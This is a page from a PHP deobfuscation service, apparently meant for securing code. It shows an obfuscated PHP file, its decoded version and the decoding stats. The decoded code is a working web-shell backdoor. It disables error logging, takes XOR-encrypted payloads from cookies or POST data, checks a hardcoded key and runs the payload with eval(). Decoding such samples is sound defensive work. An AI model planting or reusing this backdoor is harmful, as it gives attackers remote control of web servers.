Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"\x47L\x4f\x42\x41L\x53"}["\x62u\x6d\x66\x7a\x78"] = "a\x75\x74h"; ${"\x47LOBAL\x53"}..
Decoded Output download
<?
${"GLOBALS"}["bumfzx"] = "auth";
${"GLOBALS"}["qpbxgpieqbx"] = "value";
${"GLOBALS"}["enyputhdlkk"] = "key";
${"GLOBALS"}["pwhuehui"] = "j";
${"GLOBALS"}["pbkqpwkeuthu"] = "i";
${"GLOBALS"}["tkoqjcwbcj"] = "value";
$udborfbq = "data";
${"GLOBALS"}["bdylpnwgwuyn"] = "data_key";
${"GLOBALS"}["knxtwihmugi"] = "data";
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
$bgvvfcvmjs = "data";
@ini_set("max_execution_time", 0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "
");
}
if (!defined("DIRECTORY_SEPARATOR")) {
define("DIRECTORY_SEPARATOR", "/");
}
$wnmcyzak = "data";
${${"GLOBALS"}["knxtwihmugi"]} = NULL;
${${"GLOBALS"}["bdylpnwgwuyn"]} = NULL;
${"GLOBALS"}["ztkdzmvvyh"] = "data";
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;
function sh_decrypt_phase($data, $key)
{
${"GLOBALS"}["gynjjmng"] = "out_data";
$oqghebfm = "out_data";
${${"GLOBALS"}["gynjjmng"]} = "";
for (${${"GLOBALS"}["pbkqpwkeuthu"]} = 0; ${${"GLOBALS"}["pbkqpwkeuthu"]} < strlen(${${"GLOBALS"}["knxtwihmugi"]});) {
${"GLOBALS"}["umnlsadw"] = "i";
$lkkuocmcoky = "j";
${"GLOBALS"}["mvknhiql"] = "data";
${"GLOBALS"}["nftcpnfdudom"] = "j";
for (${${"GLOBALS"}["nftcpnfdudom"]} = 0; ${${"GLOBALS"}["pwhuehui"]} < strlen(${${"GLOBALS"}["enyputhdlkk"]}) && ${${"GLOBALS"}["umnlsadw"]} < strlen(${${"GLOBALS"}["mvknhiql"]}); ${$lkkuocmcoky}++, ${${"GLOBALS"}["pbkqpwkeuthu"]}++) {
${"GLOBALS"}["nvnojbwnfv"] = "i";
$lworesibofc = "out_data";
${$lworesibofc} .= chr(ord(${${"GLOBALS"}["knxtwihmugi"]}[${${"GLOBALS"}["nvnojbwnfv"]}]) ^ ord(${${"GLOBALS"}["enyputhdlkk"]}[${${"GLOBALS"}["pwhuehui"]}]));
}
}
return ${$oqghebfm};
}
function sh_decrypt($data, $key)
{
$imcerufeozd = "data";
${"GLOBALS"}["qqwnkqi"] = "key";
${"GLOBALS"}["kflngkfw"] = "auth";
global $auth;
return sh_decrypt_phase(sh_decrypt_phase(${$imcerufeozd}, ${${"GLOBALS"}["kflngkfw"]}), ${${"GLOBALS"}["qqwnkqi"]});
}
foreach ($_COOKIE as ${${"GLOBALS"}["enyputhdlkk"]} => ${${"GLOBALS"}["tkoqjcwbcj"]}) {
${"GLOBALS"}["jinrosure"] = "value";
$xgonept = "data_key";
${"GLOBALS"}["koalblyj"] = "key";
${${"GLOBALS"}["knxtwihmugi"]} = ${${"GLOBALS"}["jinrosure"]};
${$xgonept} = ${${"GLOBALS"}["koalblyj"]};
}
${"GLOBALS"}["nbkfqyyl"] = "data_key";
$orxjiexskq = "data";
if (!${${"GLOBALS"}["ztkdzmvvyh"]}) {
${"GLOBALS"}["wqgcbl"] = "key";
foreach ($_POST as ${${"GLOBALS"}["wqgcbl"]} => ${${"GLOBALS"}["qpbxgpieqbx"]}) {
${"GLOBALS"}["shpvlb"] = "data";
$rsbfutrj = "key";
${${"GLOBALS"}["shpvlb"]} = ${${"GLOBALS"}["qpbxgpieqbx"]};
${${"GLOBALS"}["bdylpnwgwuyn"]} = ${$rsbfutrj};
}
}
${$orxjiexskq} = @unserialize(sh_decrypt(@base64_decode(${$udborfbq}), ${${"GLOBALS"}["nbkfqyyl"]}));
if (isset(${$wnmcyzak}["ak"]) && ${${"GLOBALS"}["bumfzx"]} == ${$bgvvfcvmjs}["ak"]) {
${"GLOBALS"}["txyeoxtxsq"] = "data";
${"GLOBALS"}["eceliekt"] = "data";
if (${${"GLOBALS"}["txyeoxtxsq"]}["a"] == "i") {
$mrngyyp = "i";
${${"GLOBALS"}["pbkqpwkeuthu"]} = array("pv" => @phpversion(), "sv" => "1.0-1",);
echo @serialize(${$mrngyyp});
} elseif (${${"GLOBALS"}["eceliekt"]}["a"] == "e") {
eval(${${"GLOBALS"}["knxtwihmugi"]}["d"]);
}
}
?>
Did this file decode correctly?
Original Code
${"\x47L\x4f\x42\x41L\x53"}["\x62u\x6d\x66\x7a\x78"] = "a\x75\x74h";
${"\x47LOBAL\x53"}["\x71\x70b\x78\x67\x70\x69\x65\x71b\x78"] = "\x76\x61\x6c\x75\x65";
${"GLO\x42\x41\x4c\x53"}["e\x6e\x79p\x75\x74\x68d\x6c\x6bk"] = "k\x65\x79";
${"\x47L\x4fBA\x4c\x53"}["\x70\x77\x68ueh\x75i"] = "\x6a";
${"\x47L\x4f\x42\x41L\x53"}["\x70\x62k\x71\x70wke\x75\x74\x68u"] = "\x69";
${"G\x4c\x4f\x42\x41L\x53"}["\x74\x6b\x6f\x71\x6ac\x77b\x63\x6a"] = "v\x61\x6cu\x65";
$udborfbq = "data";
${"G\x4c\x4f\x42AL\x53"}["\x62\x64\x79l\x70n\x77g\x77\x75y\x6e"] = "\x64\x61\x74\x61\x5f\x6b\x65\x79";
${"G\x4cO\x42\x41L\x53"}["knx\x74\x77\x69h\x6d\x75\x67i"] = "\x64a\x74\x61";
@ini_set("e\x72r\x6fr\x5flog", NULL);
@ini_set("\x6cog\x5f\x65\x72ro\x72s", 0);
$bgvvfcvmjs = "\x64\x61\x74a";
@ini_set("m\x61\x78\x5fe\x78e\x63u\x74io\x6e_t\x69\x6d\x65", 0);
@set_time_limit(0);
if (!defined("PHP\x5fE\x4f\x4c")) {
define("PHP\x5f\x45O\x4c", "\n");
}
if (!defined("\x44I\x52\x45\x43\x54ORY_S\x45P\x41RA\x54\x4fR")) {
define("\x44I\x52E\x43T\x4f\x52Y_SE\x50\x41R\x41\x54O\x52", "/");
}
$wnmcyzak = "d\x61\x74\x61";
${${"\x47LO\x42\x41\x4c\x53"}["\x6b\x6e\x78\x74\x77\x69hm\x75\x67i"]} = NULL;
${${"\x47L\x4fBA\x4c\x53"}["bd\x79\x6c\x70\x6ew\x67w\x75\x79\x6e"]} = NULL;
${"G\x4c\x4f\x42\x41LS"}["z\x74\x6bd\x7am\x76\x76\x79\x68"] = "\x64ata";
$GLOBALS["\x61\x75\x74h"] = "\x34\x65f63\x61\x62\x65-1a\x62d-\x34\x35\x616-91\x33d-\x36fb\x39\x39\x36\x35\x37\x65\x32\x34b";
global $auth;
function sh_decrypt_phase($data, $key)
{
${"\x47\x4cOB\x41L\x53"}["g\x79\x6ejj\x6d\x6e\x67"] = "\x6fu\x74\x5f\x64a\x74a";
$oqghebfm = "\x6fut\x5fd\x61\x74\x61";
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x67yn\x6aj\x6dn\x67"]} = "";
for (${${"G\x4c\x4f\x42A\x4c\x53"}["\x70\x62k\x71\x70\x77k\x65u\x74hu"]} = 0; ${${"G\x4cO\x42\x41\x4cS"}["\x70\x62k\x71\x70wke\x75\x74\x68\x75"]} < strlen(${${"\x47\x4cO\x42\x41L\x53"}["knx\x74\x77\x69\x68\x6d\x75g\x69"]});) {
${"\x47\x4c\x4f\x42ALS"}["\x75\x6d\x6el\x73a\x64w"] = "\x69";
$lkkuocmcoky = "j";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x6d\x76\x6b\x6ehi\x71\x6c"] = "\x64a\x74a";
${"\x47\x4cO\x42\x41\x4cS"}["\x6e\x66\x74\x63p\x6e\x66d\x75\x64\x6fm"] = "j";
for (${${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x66tcpn\x66\x64u\x64\x6fm"]} = 0; ${${"G\x4cO\x42A\x4cS"}["\x70\x77\x68\x75\x65\x68u\x69"]} < strlen(${${"GL\x4fBA\x4c\x53"}["\x65\x6e\x79\x70u\x74\x68\x64\x6c\x6b\x6b"]}) && ${${"\x47LO\x42\x41\x4cS"}["u\x6d\x6e\x6c\x73\x61\x64\x77"]} < strlen(${${"\x47\x4cO\x42AL\x53"}["\x6dv\x6bn\x68\x69\x71\x6c"]}); ${$lkkuocmcoky}++, ${${"\x47LOBAL\x53"}["\x70\x62kqp\x77\x6beu\x74\x68u"]}++) {
${"G\x4cOB\x41L\x53"}["nv\x6e\x6f\x6ab\x77\x6e\x66\x76"] = "\x69";
$lworesibofc = "\x6fu\x74\x5f\x64a\x74a";
${$lworesibofc} .= chr(ord(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6bnxt\x77i\x68mug\x69"]}[${${"\x47\x4c\x4f\x42ALS"}["\x6ev\x6e\x6fjb\x77\x6e\x66v"]}]) ^ ord(${${"\x47L\x4f\x42\x41LS"}["e\x6e\x79\x70u\x74\x68d\x6ck\x6b"]}[${${"GL\x4fB\x41L\x53"}["p\x77\x68\x75\x65\x68\x75\x69"]}]));
}
}
return ${$oqghebfm};
}
function sh_decrypt($data, $key)
{
$imcerufeozd = "\x64\x61t\x61";
${"GL\x4f\x42A\x4c\x53"}["\x71q\x77\x6e\x6b\x71\x69"] = "\x6be\x79";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x66\x6c\x6egk\x66w"] = "a\x75th";
global $auth;
return sh_decrypt_phase(sh_decrypt_phase(${$imcerufeozd}, ${${"\x47L\x4f\x42AL\x53"}["\x6b\x66l\x6eg\x6b\x66\x77"]}), ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["q\x71\x77\x6e\x6b\x71i"]});
}
foreach ($_COOKIE as ${${"\x47L\x4f\x42A\x4c\x53"}["e\x6e\x79\x70\x75\x74\x68\x64l\x6b\x6b"]} => ${${"\x47\x4cO\x42\x41LS"}["\x74\x6b\x6fqj\x63\x77\x62\x63\x6a"]}) {
${"GLO\x42\x41L\x53"}["\x6ain\x72o\x73\x75\x72\x65"] = "va\x6cue";
$xgonept = "\x64\x61ta_\x6b\x65\x79";
${"G\x4c\x4f\x42\x41\x4cS"}["\x6b\x6f\x61l\x62\x6c\x79j"] = "k\x65y";
${${"G\x4cO\x42\x41\x4c\x53"}["\x6b\x6e\x78\x74wi\x68\x6d\x75g\x69"]} = ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6a\x69\x6eros\x75r\x65"]};
${$xgonept} = ${${"\x47L\x4f\x42\x41\x4c\x53"}["k\x6f\x61\x6cb\x6cyj"]};
}
${"G\x4c\x4f\x42\x41\x4cS"}["\x6ebk\x66qy\x79\x6c"] = "\x64\x61\x74\x61_key";
$orxjiexskq = "\x64\x61\x74\x61";
if (!${${"\x47L\x4f\x42\x41\x4cS"}["\x7at\x6b\x64\x7a\x6dv\x76\x79\x68"]}) {
${"GL\x4f\x42\x41\x4c\x53"}["\x77\x71\x67\x63b\x6c"] = "key";
foreach ($_POST as ${${"GL\x4f\x42\x41LS"}["w\x71\x67\x63\x62\x6c"]} => ${${"G\x4c\x4f\x42\x41\x4c\x53"}["q\x70\x62\x78gpi\x65q\x62x"]}) {
${"G\x4cO\x42\x41\x4c\x53"}["\x73h\x70\x76lb"] = "\x64\x61\x74a";
$rsbfutrj = "\x6b\x65y";
${${"G\x4c\x4fB\x41L\x53"}["\x73h\x70\x76\x6c\x62"]} = ${${"G\x4cO\x42\x41\x4c\x53"}["q\x70\x62xg\x70\x69eq\x62x"]};
${${"\x47\x4cOBAL\x53"}["\x62\x64\x79l\x70\x6e\x77\x67w\x75\x79\x6e"]} = ${$rsbfutrj};
}
}
${$orxjiexskq} = @unserialize(sh_decrypt(@base64_decode(${$udborfbq}), ${${"\x47\x4c\x4fB\x41\x4cS"}["nbkf\x71\x79\x79\x6c"]}));
if (isset(${$wnmcyzak}["\x61\x6b"]) && ${${"\x47\x4c\x4fB\x41\x4c\x53"}["b\x75m\x66\x7ax"]} == ${$bgvvfcvmjs}["\x61k"]) {
${"\x47\x4cOBAL\x53"}["\x74\x78\x79\x65\x6f\x78\x74\x78\x73\x71"] = "\x64at\x61";
${"\x47\x4c\x4fB\x41\x4cS"}["\x65\x63\x65l\x69\x65\x6bt"] = "d\x61\x74\x61";
if (${${"\x47L\x4f\x42A\x4cS"}["\x74\x78\x79\x65\x6f\x78tx\x73\x71"]}["\x61"] == "\x69") {
$mrngyyp = "i";
${${"G\x4c\x4fB\x41\x4c\x53"}["\x70\x62\x6bq\x70wk\x65\x75thu"]} = array("pv" => @phpversion(), "\x73\x76" => "\x31.\x30-1",);
echo @serialize(${$mrngyyp});
} elseif (${${"\x47L\x4f\x42\x41L\x53"}["\x65c\x65\x6c\x69\x65\x6bt"]}["a"] == "\x65") {
eval(${${"G\x4c\x4f\x42\x41\x4c\x53"}["kn\x78t\x77ihm\x75g\x69"]}["\x64"]);
}
}
Function Calls
None |
Stats
MD5 | 733e6144dcd55e1e46c70726a843ccdd |
Eval Count | 0 |
Decode Time | 92 ms |